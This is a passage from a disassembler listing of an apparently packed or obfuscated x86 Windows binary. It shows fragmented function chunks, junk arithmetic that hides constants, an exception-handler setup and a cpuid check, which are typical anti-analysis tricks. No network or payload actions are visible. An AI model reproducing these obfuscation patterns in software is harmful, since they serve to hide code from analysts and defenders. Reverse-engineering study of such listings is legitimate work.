ecx jmp loc_42B368 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- locret_42A7AD: ; CODE XREF: _0182ofla:loc_42D209j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42A7AE: ; CODE XREF: sub_42D056-9602j ; sub_42D056:loc_42ECC5j call sub_428D09 push 2CBBA541h pop edx xor edx, ds:4000F3h add edx, 65B16449h test edx, 1000h jmp loc_42EC88 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42A7D0: ; CODE XREF: sub_42798F-4296j ; _0182ofla:0042451Dj ... push offset loc_42CA1D jmp loc_42A942 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E648 loc_42A7DA: ; CODE XREF: sub_42E648-5757j xor edx, 0FD881E3Dh add edx, 0DBF38D70h xchg edx, [esp+4+var_4] jmp loc_42482D ; END OF FUNCTION CHUNK FOR sub_42E648 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AE0 loc_42A7EE: ; CODE XREF: sub_429AE0:loc_423579j ; _0182ofla:0042863Bj mov edi, ebx xchg edi, [esp+8+var_8] xchg esi, ebx push edi mov esi, eax jmp loc_425027 ; END OF FUNCTION CHUNK FOR sub_429AE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_42A7FD: ; CODE XREF: sub_42380D:loc_4291B5j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_42EA80 jmp loc_427AFE ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42A818: ; CODE XREF: sub_425B6E:loc_427703j lea edx, [ebp+var_14] push 0A39410ABh pop eax sub eax, 9D8DD022h or eax, 0B79785B8h add eax, 48AB0C67h call sub_42B14D lea eax, [ebp+var_14] jmp loc_428825 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- loc_42A840: ; CODE XREF: _0182ofla:loc_42B293j jnz loc_429F48 jmp loc_42A65B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2FA loc_42A84B: ; CODE XREF: sub_42A2FA:loc_427297j mov edx, [ebp-18h] ; END OF FUNCTION CHUNK FOR sub_42A2FA ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42A84E: ; CODE XREF: sub_42D056:loc_42C98Aj shr edx, 3 mov ecx, ds:dword_423190 or [ecx+edx], al push 0D963E982h pop ecx and ecx, 0AE955C83h add ecx, 4B1361E7h jmp loc_42D45F ; END OF FUNCTION CHUNK FOR sub_42D056 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A872: ; CODE XREF: _0182ofla:0042C20Dj jmp loc_42612B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_42A877: ; CODE XREF: sub_4289E4-713j jmp loc_429FB4 ; END OF FUNCTION CHUNK FOR sub_4289E4 ; --------------------------------------------------------------------------- loc_42A87C: ; CODE XREF: _0182ofla:004236CBj adc edx, ecx popf mov esi, 497508E6h loc_42A884: ; CODE XREF: _0182ofla:loc_4236B5j rol eax, 1Eh xor eax, 334A0C81h push offset loc_4245B2 jmp locret_42E696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_42A897: ; CODE XREF: sub_42E218:loc_427F19j jz loc_4280E1 jmp loc_423691 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42A8A2: ; CODE XREF: sub_423FCD:loc_423198j push 0BA6E4669h xchg edx, [esp+4+var_4] mov esi, edx pop edx add esi, 45D4A287h mov [esi], eax xchg ecx, [esp+0] jmp loc_42A3D5 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A760 loc_42A8BD: ; CODE XREF: sub_42A760-6CE7j jp loc_4236F3 xchg edi, ecx loc_42A8C5: ; CODE XREF: sub_42A760:loc_428BF8j push 0A384F6F8h pop eax loc_42A8CB: ; CODE XREF: _0182ofla:0042A581j and eax, 0D9096AA9h add eax, 651C5D6Dh jmp loc_42A16E ; END OF FUNCTION CHUNK FOR sub_42A760 ; --------------------------------------------------------------------------- loc_42A8DC: ; CODE XREF: _0182ofla:0042C448j test edi, eax jmp loc_429057 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42A8E3: ; CODE XREF: sub_42D056:loc_42A57Aj xchg eax, ebp call sub_42B3C2 jmp loc_426DEE ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_42A8EF: ; CODE XREF: sub_426571+12j mov eax, [ebp-4] cmp word ptr [eax], 2ECDh jz loc_42A902 jmp loc_4255F9 ; --------------------------------------------------------------------------- loc_42A902: ; CODE XREF: sub_426571+Cj ; sub_426571+4386j jno loc_42624D mov eax, [ebp-4] call sub_428EAF jmp loc_42875E ; END OF FUNCTION CHUNK FOR sub_426571 ; =============== S U B R O U T I N E ======================================= sub_42A915 proc near ; CODE XREF: _0182ofla:00423AACj ; sub_42D056:loc_42D45Fp ; FUNCTION CHUNK AT 0042398C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423FDD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427CFA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429FA8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042CC1F SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx add ecx, ebp loc_42A91B: ; CODE XREF: sub_42D833:loc_42D8CAj add ecx, 2CEB557Bh call sub_4233EC loc_42A926: ; CODE XREF: _0182ofla:004277C5j jmp loc_427CFA sub_42A915 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_42A92B: ; CODE XREF: sub_42448C+1B3Dj ; sub_42798F+DBj jz loc_4297F8 jmp loc_4278E0 ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- or ebx, 5C66DB71h jmp loc_4230C2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42A942: ; CODE XREF: sub_42798F+2E46j jmp nullsub_68 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42A947: ; CODE XREF: _0182ofla:0042A321j jmp locret_42A4C0 ; --------------------------------------------------------------------------- mov ebp, 876AD914h jmp sub_423AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_42A956: ; CODE XREF: sub_429E52-181Cj mov ecx, [esi] push 6C800985h loc_42A95D: ; CODE XREF: sub_429E52:loc_42468Aj lea eax, [ebp-2AAh] cmp dword ptr [eax], 47424454h jz loc_42595F jmp loc_42483C ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- jo loc_427E9E jmp sub_429071 ; --------------------------------------------------------------------------- ror edi, 4 jmp sub_42D8EA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3E4 loc_42A988: ; CODE XREF: sub_42A3E4-153Aj jmp loc_42EABE ; END OF FUNCTION CHUNK FOR sub_42A3E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A70 loc_42A98D: ; CODE XREF: sub_424A70:loc_4257D4j mov esp, ebp pop ebp jmp loc_427EFE ; END OF FUNCTION CHUNK FOR sub_424A70 ; =============== S U B R O U T I N E ======================================= sub_42A995 proc near ; CODE XREF: sub_429AA3:loc_4248AEj add esp, 0FFFFFFF4h call sub_42CDEB loc_42A99D: ; CODE XREF: _0182ofla:00427028j jmp nullsub_145 sub_42A995 endp ; --------------------------------------------------------------------------- mov eax, 0F5C44DD4h jmp sub_4235C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_42A9AC: ; CODE XREF: sub_42EAB7:loc_429B8Cj jz loc_42D607 loc_42A9B2: ; CODE XREF: _0182ofla:00425770j ; sub_42AFBA+14j jnz loc_42C74A cmp dword ptr [ebp-1Ch], 0Fh jnz loc_4287A3 mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] jmp loc_4285F9 ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423127 loc_42A9D3: ; CODE XREF: sub_423127+2102j lea eax, [ebp-10h] push eax push 7 call sub_42371C push eax push edi jmp loc_425BD4 ; END OF FUNCTION CHUNK FOR sub_423127 ; --------------------------------------------------------------------------- xor ebp, ecx jmp loc_42C905 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D83 loc_42A9ED: ; CODE XREF: sub_429D83+10j jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_429D83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_42A9F2: ; CODE XREF: sub_423395+10j ; sub_42E395-4839j ... js loc_425076 push 0C9ED3936h pop eax rol eax, 9 sub eax, 0E6C839AFh add eax, 0E835C4ADh push offset sub_42C311 jmp loc_42D239 ; END OF FUNCTION CHUNK FOR sub_423395 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BCB loc_42AA18: ; CODE XREF: sub_424BCB-CA3j jmp loc_426B31 ; END OF FUNCTION CHUNK FOR sub_424BCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42AA1D: ; CODE XREF: sub_428EB9+570Aj pop ecx retn ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_42AA1F: ; CODE XREF: sub_42EAB7-5E15j jmp loc_4287CC ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42AA24: ; CODE XREF: sub_42798F+54j jmp loc_4269BC ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD86 loc_42AA29: ; CODE XREF: sub_42DD86-9259j jmp loc_4293B2 ; END OF FUNCTION CHUNK FOR sub_42DD86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_42AA2E: ; CODE XREF: sub_4249FA-427j jmp loc_429B29 ; END OF FUNCTION CHUNK FOR sub_4249FA ; =============== S U B R O U T I N E ======================================= sub_42AA33 proc near ; CODE XREF: sub_429E52-664Fp push dword ptr fs:0 mov fs:0, esp jmp near ptr byte_424FDF sub_42AA33 endp ; =============== S U B R O U T I N E ======================================= sub_42AA44 proc near ; CODE XREF: sub_42D730-A5B0j ; FUNCTION CHUNK AT 0042A173 SIZE 00000008 BYTES push ebx loc_42AA45: ; CODE XREF: _0182ofla:loc_4240ABj push 0D1EA3ED0h pop ebx xor ebx, 0EB2CB17Dh or ebx, 18213DB0h add ebx, 0C55AA375h jmp loc_42A173 sub_42AA44 endp ; =============== S U B R O U T I N E ======================================= sub_42AA62 proc near ; CODE XREF: _0182ofla:00424A5Aj ; sub_426993:loc_42E53Fp mov [esp+0], edi pop edi mov eax, 100h call sub_42D70E push offset sub_42CC34 jmp nullsub_70 sub_42AA62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42AA7A proc near ; CODE XREF: sub_425BF8:loc_4266F2j retn sub_42AA7A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42AA7B: ; CODE XREF: sub_42798F+1637j jmp nullsub_71 ; END OF FUNCTION CHUNK FOR sub_42798F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42AA81: ; CODE XREF: _0182ofla:0042DE85j jmp loc_424A18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_42AA86: ; CODE XREF: sub_42448C+877Aj jmp loc_42951C ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- loc_42AA8B: ; CODE XREF: _0182ofla:00428222j jmp loc_42736F ; --------------------------------------------------------------------------- loc_42AA90: ; CODE XREF: _0182ofla:0042492Aj push eax push 40h push 52B74B96h pop eax sub eax, 0C7B44E1Fh xor eax, 0B3C50BAEh jmp loc_424734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA5 loc_42AAAA: ; CODE XREF: sub_425EA5+85FEj mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_425EA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D387 loc_42AAAE: ; CODE XREF: sub_42D387+9j jmp loc_42E946 ; END OF FUNCTION CHUNK FOR sub_42D387 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA5 loc_42AAB3: ; CODE XREF: sub_425EA5+6j ; sub_423A2A:loc_42DB84j mov eax, [ebp-0Ch] loc_42AAB6: ; CODE XREF: _0182ofla:00426156j call sub_42561D loc_42AABB: ; CODE XREF: sub_423A2A+7215j ror eax, 3 sub edi, esi ror ecx, 1Ch loc_42AAC3: ; CODE XREF: sub_423A2A:loc_4243E6j push edi push 0D2148446h pop edi rol edi, 1Ch jmp loc_42D455 ; END OF FUNCTION CHUNK FOR sub_425EA5 ; =============== S U B R O U T I N E ======================================= sub_42AAD2 proc near ; CODE XREF: _0182ofla:00425564j ; sub_42C677+13p ; FUNCTION CHUNK AT 00427405 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042ADF3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AF45 SIZE 00000012 BYTES mov [esp+0], edi pop edi mov ds:dword_427A44, eax jmp loc_42ADF3 sub_42AAD2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AAE0 proc near ; CODE XREF: sub_426561j ; FUNCTION CHUNK AT 004273EC SIZE 00000019 BYTES push ebp mov ebp, esp push ecx cmp ds:dword_427A44, 0 jnz loc_427405 loc_42AAF1: ; CODE XREF: sub_428CE6+4j jmp loc_4273EC sub_42AAE0 endp ; --------------------------------------------------------------------------- loc_42AAF6: ; CODE XREF: _0182ofla:00424A53j sbb ecx, ebx ; =============== S U B R O U T I N E ======================================= sub_42AAF8 proc near ; CODE XREF: sub_423B53:loc_42A781p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423FC8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004241C6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424549 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00425B66 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00425F72 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004297DB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042A2E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AE5F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042B7CB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042C858 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042E5D3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EDC4 SIZE 0000000B BYTES mov [esp+4+var_4], ecx pop ecx mov ebp, esp add esp, 0FFFFFFECh cmp ds:dword_42D214, 0 jnz loc_42A0FA jmp loc_4241C6 sub_42AAF8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_42AB13: ; CODE XREF: sub_429E52-1C52j jnz loc_42481C jmp loc_42AB75 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_42AB1E: ; CODE XREF: sub_428041+5C4Aj xchg esi, [esp+10h+var_10] jmp loc_425E48 ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AB27 proc near ; CODE XREF: sub_423A2A:loc_42B41Ep ; sub_425DA5+6FBBj ... var_20 = byte ptr -20h var_1C = byte ptr -1Ch ; FUNCTION CHUNK AT 00424CA3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426812 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429343 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004293E6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A681 SIZE 00000018 BYTES push ebp mov ebp, esp jns sub_429C1A add esp, 0FFFFFFE0h jmp loc_429343 sub_42AB27 endp ; --------------------------------------------------------------------------- loc_42AB38: ; CODE XREF: _0182ofla:0042E56Fj jnb loc_42A699 ; =============== S U B R O U T I N E ======================================= sub_42AB3E proc near ; CODE XREF: sub_425D8F+6p ; FUNCTION CHUNK AT 00423490 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004235D8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004238D2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004246E6 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00425A2D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426504 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429438 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A3C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B073 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C25A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042C27E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042CA90 SIZE 00000010 BYTES xchg edx, [esp+0] pop edx pop edi push edi jmp loc_4238D2 sub_42AB3E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4286E4 loc_42AB49: ; CODE XREF: sub_4286E4+1Ej call sub_4265C0 jmp loc_4259AB ; END OF FUNCTION CHUNK FOR sub_4286E4 ; --------------------------------------------------------------------------- mov dword ptr [ebp-8], 1 loc_42AB5A: ; CODE XREF: _0182ofla:loc_425FA2j ; _0182ofla:0042CA24j mov eax, [ebp-8] mov esp, ebp jmp loc_42AB70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB00 loc_42AB64: ; CODE XREF: sub_42CB00+1Cj jz loc_42EB91 jmp loc_42E3B6 ; END OF FUNCTION CHUNK FOR sub_42CB00 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42AB70: ; CODE XREF: _0182ofla:0042AB5Fj jmp loc_4265B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_42AB75: ; CODE XREF: sub_429E52+CC7j jz loc_42956B jmp loc_42546C ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42AB80: ; CODE XREF: sub_428F20+B73j jge sub_42C89F loc_42AB86: ; CODE XREF: sub_428F20:loc_42B1E8j mov edi, eax mov eax, 80000001h xor edx, edx cpuid and eax, 0FFFh jmp loc_423086 ; END OF FUNCTION CHUNK FOR sub_428F20 ; =============== S U B R O U T I N E ======================================= sub_42AB9B proc near ; CODE XREF: sub_42E668-B313j ; sub_42EAFE+Bp ; FUNCTION CHUNK AT 00423E9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424636 SIZE 0000000A BYTES mov [esp+0], esi pop esi or eax, eax jnz loc_424636 call sub_4247FE test eax, eax setnz byte ptr [ebp-1] jmp loc_424636 sub_42AB9B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42ABB7 proc near ; CODE XREF: sub_42892Ej ; FUNCTION CHUNK AT 0042D046 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042DB1A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042EB18 SIZE 0000000B BYTES push ebp jmp loc_42DB1A sub_42ABB7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_42ABBD: ; CODE XREF: sub_427942-2669j or ecx, 61C938BAh loc_42ABC3: ; CODE XREF: _0182ofla:loc_4285D3j add eax, edx xor eax, ebx add eax, ecx call sub_424762 loc_42ABCE: ; CODE XREF: sub_428EB9+2E3j push eax cmp [ebp+var_14], 6 setz al call sub_42ECAD pop ecx shl eax, 3 loc_42ABDF: ; CODE XREF: sub_423395:loc_427D65j call sub_42798F loc_42ABE4: ; CODE XREF: sub_4294FE-6034j jmp loc_42D4CC ; END OF FUNCTION CHUNK FOR sub_427942 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42ABE9: ; CODE XREF: sub_428D63-357Bj ; sub_428D63:loc_427479j ... jns loc_429022 cmp dword ptr [ebp-4], 3 jnz loc_4244E9 jmp loc_4291CC ; --------------------------------------------------------------------------- loc_42ABFE: ; CODE XREF: sub_42798F:loc_429A05j mov [ebx], ebp and eax, ebx jmp loc_42A62D ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AC07 proc near ; DATA XREF: sub_4271D2:loc_42589Co ; FUNCTION CHUNK AT 00423095 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423185 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042478A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426E1A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427BB3 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042C6E5 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_423194 jmp loc_426E1A sub_42AC07 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_42AC19: ; CODE XREF: sub_427239:loc_42E697j xchg ecx, esi push 0CD5101FCh pop ecx or ecx, 595F0E5Ch xor ecx, 78D42139h jmp loc_42EBF0 ; END OF FUNCTION CHUNK FOR sub_427239 ; --------------------------------------------------------------------------- adc edi, ebx jmp sub_424762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42AC39: ; CODE XREF: sub_423A2A+9C2j xor ebx, 2CE2111Ah jmp loc_42AABB ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42AC44: ; CODE XREF: sub_4253F4+9784j pop edi and edi, 7EBC0D58h test edi, 200000h jmp loc_425E91 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42AC56: ; CODE XREF: sub_428EB9+2DAj ; sub_428EB9+5B33j cmp dword ptr [ebp-10h], 1 jnz loc_42D9E8 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h mov edx, [ebp+8] push offset loc_42D9E0 jmp nullsub_184 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_42AC7A: ; CODE XREF: sub_42C379-104Dj jmp loc_42D3CE ; END OF FUNCTION CHUNK FOR sub_42C379 ; --------------------------------------------------------------------------- loc_42AC7F: ; CODE XREF: _0182ofla:0042765Ej jmp loc_42B440 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425063 loc_42AC84: ; CODE XREF: sub_425063:loc_429F9Ej jnz loc_424677 jmp loc_425EC5 ; END OF FUNCTION CHUNK FOR sub_425063 ; --------------------------------------------------------------------------- loc_42AC8F: ; CODE XREF: _0182ofla:0042C431j adc esi, ecx loc_42AC91: ; CODE XREF: _0182ofla:loc_42ACE2j call sub_423FCD test al, al jz loc_42797C jmp loc_42B293 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F6C loc_42ACA3: ; CODE XREF: sub_429F6C+8j push 0FD0802Bh pop edx xor edx, 97971221h add edx, 67FA9FA6h call sub_424184 loc_42ACBA: ; CODE XREF: _0182ofla:004241ECj mov [esi], eax pop esi cmp ds:dword_4257A4, 0 ; END OF FUNCTION CHUNK FOR sub_429F6C ; START OF FUNCTION CHUNK FOR sub_428F0F loc_42ACC4: ; CODE XREF: sub_428F0F:loc_4283D2j jnz loc_42E5E3 jmp loc_423ADF ; END OF FUNCTION CHUNK FOR sub_428F0F ; =============== S U B R O U T I N E ======================================= sub_42ACCF proc near ; DATA XREF: sub_42A51F+3o ; FUNCTION CHUNK AT 00429D17 SIZE 00000005 BYTES add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] push offset loc_425980 jmp loc_429D17 sub_42ACCF endp ; --------------------------------------------------------------------------- loc_42ACE2: ; CODE XREF: _0182ofla:00426DE9j jnz loc_42AC91 jmp loc_423574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4299B8 loc_42ACED: ; CODE XREF: sub_4299B8+9j mov edx, offset loc_42ACFB xchg edx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_4299B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42ACF6: ; CODE XREF: sub_423FCD+8684j jmp nullsub_177 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- loc_42ACFB: ; DATA XREF: sub_4299B8:loc_42ACEDo xor edx, 0B2B4909Bh or edx, 86CD3D39h xor edx, 0EFCDFF3Dh test eax, edx jmp loc_429649 ; --------------------------------------------------------------------------- loc_42AD14: ; DATA XREF: sub_4256E8+ABEo add ebx, 54496A1Eh popf call sub_424E62 ; =============== S U B R O U T I N E ======================================= sub_42AD20 proc near ; CODE XREF: sub_42940E:loc_426FF9p ; _0182ofla:0042D442j mov [esp+0], edi pop edi ror eax, 14h mov ds:dword_4231A0, eax retn sub_42AD20 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DB loc_42AD2E: ; CODE XREF: sub_4278DB+1911j jmp sub_4258B7 ; END OF FUNCTION CHUNK FOR sub_4278DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_42AD33: ; CODE XREF: sub_42940E:loc_4250CFj ; sub_429C68+4AAEj rol eax, 14h push eax jmp loc_4258B1 ; END OF FUNCTION CHUNK FOR sub_42940E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D19B loc_42AD3C: ; CODE XREF: sub_42D19B+Ej add ecx, 0FF842Eh and ecx, 39933F80h xor ecx, 10833C84h add eax, ecx pop ecx jmp loc_42E1AB ; END OF FUNCTION CHUNK FOR sub_42D19B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A0B2 loc_42AD56: ; CODE XREF: sub_42A0B2+10j call sub_42E320 push eax push esi push 8F84594Ch ; END OF FUNCTION CHUNK FOR sub_42A0B2 ; START OF FUNCTION CHUNK FOR sub_425629 loc_42AD62: ; CODE XREF: sub_425629-1759j pop esi add esi, 70BE5425h xchg esi, [esp+4+var_4] jmp loc_42754D ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- push 0AF318DBBh jmp loc_423510 ; --------------------------------------------------------------------------- loc_42AD7B: ; CODE XREF: _0182ofla:0042E95Fj cmp ebp, 4F1C016Fh jmp loc_4256C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_42AD86: ; CODE XREF: sub_427942:loc_426C9Dj mov eax, [eax] call sub_42794C loc_42AD8D: ; CODE XREF: sub_428205-2725j jmp loc_4287A3 ; END OF FUNCTION CHUNK FOR sub_427942 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42892E loc_42AD93: ; CODE XREF: sub_42892E+19E9j jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_42892E ; --------------------------------------------------------------------------- loc_42AD98: ; CODE XREF: _0182ofla:004253D1j jmp loc_423549 ; --------------------------------------------------------------------------- loc_42AD9D: ; CODE XREF: _0182ofla:00423D18j jmp loc_424249 ; --------------------------------------------------------------------------- rol eax, 16h loc_42ADA5: ; CODE XREF: _0182ofla:0042E625j jmp loc_42B664 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428176 loc_42ADAB: ; 